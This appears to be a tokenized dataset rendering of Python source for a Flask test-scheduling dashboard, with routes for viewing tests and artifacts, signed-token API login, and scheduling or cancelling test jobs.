"]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "session_", "._", "pop_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "request_", "._", "method_", "==_", "\"", "POST", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "make", "\\u", "response_", "(_", "jsonify_", "(_", "{_", "'", "success", "'_", ":_", "'", "Log", "ged", " ", "out", ".'_", "}_", ")_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "redirect_", "(_", "\"/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "tests", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "tests_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "clusters_", "=_", "db_", "._", "get", "\\u", "cluster", "\\u", "names_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cluster", "\\u", "schedule", "d\\u", "tests_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cluster", "\\u", "in", "\\u", "progress", "\\u", "tests_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", "in_", "clusters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "schedule", "d\\u", "tests_", "=_", "db_", "._", "get", "\\u", "schedule", "d\\u", "tests_", "(_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "schedule", "d\\u", "tests_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cluster", "\\u", "schedule", "d\\u", "tests_", "[_", "c_", "]_", "=_", "schedule", "d\\u", "tests_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "in", "\\u", "progress", "\\u", "tests_", "=_", "db_", "._", "get", "\\u", "in", "\\u", "progress", "\\u", "tests_", "(_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "in", "\\u", "progress", "\\u", "tests_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cluster", "\\u", "in", "\\u", "progress", "\\u", "tests_", "[_", "c_", "]_", "=_", "in", "\\u", "progress", "\\u", "tests_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "complete", "d\\u", "tests_", "=_", "db_", "._", "get", "\\u", "complete", "d\\u", "tests_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "render", "\\u", "template_", "(_", "'", "tests", ".", "jin", "ja", "2", ".", "html", "'_", ",_", "clusters_", "=_", "clusters_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cluster", "\\u", "schedule", "d\\u", "tests_", "=_", "cluster", "\\u", "schedule", "d\\u", "tests_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cluster", "\\u", "in", "\\u", "progress", "\\u", "tests_", "=_", "cluster", "\\u", "in", "\\u", "progress", "\\u", "tests_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "complete", "d\\u", "tests_", "=_", "complete", "d\\u", "tests_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "tests", "/", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "s", "\\u", "auth_", "(_", "'", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "my", "\\u", "tests_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "queue", "d\\u", "tests_", "=_", "db_", "._", "get", "\\u", "user", "\\u", "schedule", "d\\u", "tests_", "(_", "get", "\\u", "user", "\\u", "id_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "in", "\\u", "progress", "\\u", "tests_", "=_", "db_", "._", "get", "\\u", "user", "\\u", "in", "\\u", "progress", "\\u", "tests_", "(_", "get", "\\u", "user", "\\u", "id_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "complete", "d\\u", "tests_", "=_", "db_", "._", "get", "\\u", "user", "\\u", "complete", "d\\u", "tests_", "(_", "get", "\\u", "user", "\\u", "id_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fail", "ed", "\\u", "tests_", "=_", "db_", "._", "get", "\\u", "user", "\\u", "fail", "ed", "\\u", "tests_", "(_", "get", "\\u", "user", "\\u", "id_", "(_", ")_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "render", "\\u", "template_", "(_", "'", "user", ".", "jin", "ja", "2", ".", "html", "'_", ",_", "queue", "d\\u", "tests_", "=_", "queue", "d\\u", "tests_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "in", "\\u", "progress", "\\u", "tests_", "=_", "in", "\\u", "progress", "\\u", "tests_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "complete", "d\\u", "tests_", "=_", "complete", "d\\u", "tests_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fail", "ed", "\\u", "tests_", "=_", "fail", "ed", "\\u", "tests_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "tests", "/", "id", "/", "<", "test\\u", "id", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "view", "\\u", "test_", "(_", "test\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test_", "=_", "db_", "._", "get", "\\u", "test_", "(_", "test\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Un", "know", "n", "Test", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "make", "\\u", "response_", "(_", "'", "Un", "know", "n", " ", "Test", " ", "{", "test\\u", "id", "}.'_", "._", "format_", "(_", "test\\u", "id_", "=_", "test\\u", "id_", ")_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "artifacts_", "=_", "db_", "._", "get", "\\u", "test\\u", "artifacts_", "(_", "test\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "has", "\\u", "chart_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "a_", "in_", "artifacts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "a_", "[_", "'", "artifact", "\\u", "type", "'_", "]_", "in_", "[_", "'", "fail", "ure", "'_", ",_", "'", "link", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Pro", "active", "ly", " ", "fetch", " ", "non", "-", "blob", " ", "artifact", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "[_", "'", "artifact", "'_", "]_", "=_", "db_", "._", "get", "\\u", "test\\u", "artifact", "\\u", "data_", "(_", "test\\u", "id_", ",_", "a_", "[_", "'", "artifact", "\\u", "type", "'_", "]_", ",_", "a_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "a_", "[_", "'", "artifact", "\\u", "type", "'_", "]_", "==_", "'", "stats", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "has", "\\u", "chart_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "render", "\\u", "template_", "(_", "'", "view", "\\u", "test", ".", "jin", "ja", "2", ".", "html", "'_", ",_", "test_", "=_", "test_", ",_", "artifacts_", "=_", "artifacts_", ",_", "has", "\\u", "chart_", "=_", "has", "\\u", "chart_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "tests", "/", "artifact", "s", "/", "<", "test\\u", "id", ">/", "<", "artifact", "\\u", "type", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "tests", "/", "artifact", "s", "/", "<", "test\\u", "id", ">/", "<", "artifact", "\\u", "type", ">/", "<", "artifact", "\\u", "name", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "artifact_", "(_", "test\\u", "id_", ",_", "artifact", "\\u", "type_", ",_", "artifact", "\\u", "name_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "artifact", "\\u", "type_", "==_", "'", "graph", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "redirect_", "(_", "\"/", "graph", "?", "command", "=", "one", "\\u", "job", "&", "stats", "={", "test\\u", "id", "}\"_", "._", "format_", "(_", "test\\u", "id_", "=_", "test\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "artifact", "\\u", "type_", "==_", "'", "flame", "graph", "'_", "and_", "not_", "artifact", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "artifacts_", "=_", "db_", "._", "get", "\\u", "test\\u", "artifacts_", "(_", "test\\u", "id_", ",_", "artifact", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "artifact_", "in_", "artifacts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "artifact_", "[_", "'", "data", "'_", "]_", "=_", "db_", "._", "get", "\\u", "test\\u", "artifact", "\\u", "data_", "(_", "test\\u", "id_", ",_", "artifact", "\\u", "type_", ",_", "artifact_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "render", "\\u", "template_", "(_", "'", "flame", "graph", ".", "jin", "ja", "2", ".", "html", "'_", ",_", "test\\u", "id_", "=_", "test\\u", "id_", ",_", "artifacts_", "=_", "artifacts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "artifact", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "make", "\\u", "response_", "(_", "jsonify_", "(_", "{_", "'", "error", "'_", ":_", "'", "No", " ", "artifact", " ", "name", " ", "provided", ".'_", "}_", ")_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "artifact_", ",_", "object\\u", "id_", ",_", "artifact", "\\u", "available_", "=_", "db_", "._", "get", "\\u", "test\\u", "artifact", "\\u", "data_", "(_", "test\\u", "id_", ",_", "artifact", "\\u", "type_", ",_", "artifact", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "artifact", "\\u", "name_", "._", "endswith_", "(_", "\".", "tar", ".", "gz", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mimetype_", "=_", "'", "applica", "tion", "/", "gzip", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "artifact", "\\u", "name_", "._", "endswith_", "(_", "\".", "json", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mimetype_", "=_", "'", "applica", "tion", "/", "json", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "artifact", "\\u", "name_", "._", "endswith_", "(_", "\".", "svg", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mimetype_", "=_", "'", "image", "/", "svg", "+", "xml", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mimetype_", "=_", "'", "text", "/", "plain", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "artifact_", "is_", "None_", "and_", "object\\u", "id_", "is_", "not_", "None_", "and_", "artifact", "\\u", "available_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "artifact_", "=_", "db_", "._", "generat", "e\\u", "object\\u", "by", "\\u", "chunks_", "(_", "object\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Response_", "(_", "response_", "=_", "artifact_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "status_", "=_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mimetype_", "=_", "mimetype_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "{_", "\"", "Conten", "t", "-", "Dispo", "sition", "\"_", ":_", "\"", "filename", "={", "name", "}\"_", "._", "format_", "(_", "name_", "=_", "artifact", "\\u", "name_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "graph", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "graph_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "render", "\\u", "template_", "(_", "'", "graph", ".", "jin", "ja", "2", ".", "html", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "schedule", "'_", ",_", "methods_", "=_", "[_", "'", "GET", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "s", "\\u", "auth_", "(_", "'", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "schedule_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Page", " ", "to", " ", "schedule", " ", "a", " ", "test", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "render", "\\u", "template_", "(_", "'", "schedule", ".", "jin", "ja", "2", ".", "html", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "cluster", "/", "<", "cluster", "\\u", "name", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "s", "\\u", "auth_", "(_", "'", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "cluster_", "(_", "cluster", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "render", "\\u", "template_", "(_", "'", "cluster", ".", "jin", "ja", "2", ".", "html", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cluster", "\\u", "name_", "=_", "cluster", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "cluster", "/", "spec", "s", "'_", ",_", "methods_", "=_", "[_", "'", "GET", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "cluster", "\\u", "specs_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "render", "\\u", "template_", "(_", "'", "cluster", "\\u", "spec", "s", ".", "jin", "ja", "2", ".", "html", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "login", "'_", ",_", "methods_", "=_", "[_", "'", "GET", "'_", ",_", "'", "POST", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "login", "\\u", "for", "\\u", "apps_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Logi", "n", " ", "for", " ", "API", " ", "access", " ", "only", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "request_", "._", "method_", "==_", "\"", "GET", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "session_", "[_", "'", "unsigned", "\\u", "access", "\\u", "token", "'_", "]_", "=_", "random", "\\u", "token_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "session_", "[_", "'", "logged", "\\u", "in", "'_", "]_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "jsonify_", "(_", "{_", "\"", "token", "\"_", ":_", "session_", "[_", "'", "unsigned", "\\u", "access", "\\u", "token", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "signa", "ture", "\"_", ":_", "server", "\\u", "key_", "._", "sign", "\\u", "message_", "(_", "session_", "[_", "'", "unsigned", "\\u", "access", "\\u", "token", "'_", "]_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "request_", "._", "method_", "==_", "\"", "POST", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Client", " ", "posts", " ", "it", "'", "s", " ", "login", " ", "name", " ", "and", " ", "a", " ", "sign", "ed", " ", "token", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "request_", "._", "get", "\\u", "json_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Verify", " ", "sign", "ed", " ", "token", " ", "against", " ", "store", "d", " ", "public", " ", "key", " ", "for", " ", "tha", "t", " ", "name", "._", "\\u\\u\\uNL\\u\\u\\u_", "pubkey_", "=_", "API", "Key_", "(_", "db_", "._", "get", "\\u", "pub", "\\u", "key_", "(_", "data_", "[_", "'", "login", "'_", "]_", ")_", "[_", "'", "pubkey", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pubkey_", "._", "verify", "\\u", "message_", "(_", "session_", "[_", "'", "unsigned", "\\u", "access", "\\u", "token", "'_", "]_", ",_", "data_", "[_", "'", "signa", "ture", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "session_", "[_", "'", "logged", "\\u", "in", "'_", "]_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "session_", "[_", "'", "unsigned", "\\u", "access", "\\u", "token", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "make", "\\u", "response_", "(_", "jsonify_", "(_", "{_", "'", "error", "'_", ":_", "'", "Ba", "d", " ", "token", " ", "signa", "ture", ".'_", "}_", ")_", ",_", "401_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Token", " ", "has", " ", "valid", " ", "signa", "ture", ",", " ", "grant", " ", "login", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "session_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "data_", "[_", "'", "login", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "session_", "[_", "'", "logged", "\\u", "in", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Mark", " ", "this", " ", "session", " ", "as", " ", "safe", " ", "to", " ", "bypass", " ", "csr", "f", " ", "protection", ",", " ", "due", " ", "to", " ", "the", " ", "ECD", "SA", " ", "authenticat", "ion", ":_", "\\u\\u\\uNL\\u\\u\\u_", "session_", "[_", "'", "bypass", "\\u", "csr", "f", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "jsonify_", "(_", "{_", "'", "success", "'_", ":_", "'", "Log", "ged", " ", "in", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "tests", "/", "schedule", "'_", ",_", "methods_", "=_", "[_", "'", "POST", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "s", "\\u", "auth_", "(_", "'", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "schedule", "\\u", "test_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Schedule", " ", "a", " ", "test", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "job_", "=_", "request_", "._", "get", "\\u", "json_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "job", "\\u", "id_", "=_", "uuid_", "._", "uuid1_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "job_", "[_", "'", "test\\u", "id", "'_", "]_", "=_", "str_", "(_", "job", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "job_", "[_", "'", "user", "'_", "]_", "=_", "get", "\\u", "user", "\\u", "id_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "series_", "=_", "job_", "._", "get_", "(_", "'", "tests", "eries", "'_", ",_", "'", "no", "\\u", "series", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "test\\u", "series_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "series_", "=_", "'", "no", "\\u", "series", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "db_", "._", "schedule", "\\u", "test_", "(_", "test\\u", "id_", "=_", "job", "\\u", "id_", ",_", "test\\u", "series_", "=_", "test\\u", "series_", ",_", "user_", "=_", "job_", "[_", "'", "user", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cluster_", "=_", "job_", "[_", "'", "cluster", "'_", "]_", ",_", "test\\u", "definition_", "=_", "job_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "jsonify_", "(_", "{_", "'", "success", "'_", ":_", "True_", ",_", "'", "url", "'_", ":_", "'/", "tests", "/", "id", "/{", "test\\u", "id", "}'_", "._", "format_", "(_", "test\\u", "id_", "=_", "job_", "[_", "'", "test\\u", "id", "'_", "]_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "tests", "/", "cancel", "'_", ",_", "methods_", "=_", "[_", "'", "POST", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "s", "\\u", "auth_", "(_", "'", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "cancel", "\\u", "test_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Cancel", " ", "a", " ", "schedule", "d", " ", "test", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "id_", "=_", "request_", "._", "form_", "[_", "'", "test\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test_", "=_", "db_", "._", "get", "\\u", "test_", "(_", "test\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "test", " ", "is", " ", "schedule", "d", ",", " ", "we", " ", "can", " ", "immediate", "ly", " ", "cancel", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "test", " ", "is", " ", "alr", "ead", "y", " ", "in", " ", "progress", ",", " ", "we", " ", "need", " ", "to", " ", "mark", " ", "as_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "cancel", "\\u", "pend", "ing", " ", "to", " ", "await", " ", "the", " ", "client", " ", "to", " ", "cancel", " ", "the", " ", "job", " ", "its", "elf", "._", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "status_", "=_", "'", "cancel", "led", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "test_", "[_", "'", "status", "'_", "]_", "==_", "'", "in", "\\u", "progress", "'_", "or_", "test_", "[_", "'", "status", "'_", "]_", "==_", "'", "cancel", "\\u", "pend", "ing", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "status_", "=_", "'", "cancel", "\\u", "pend", "ing", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 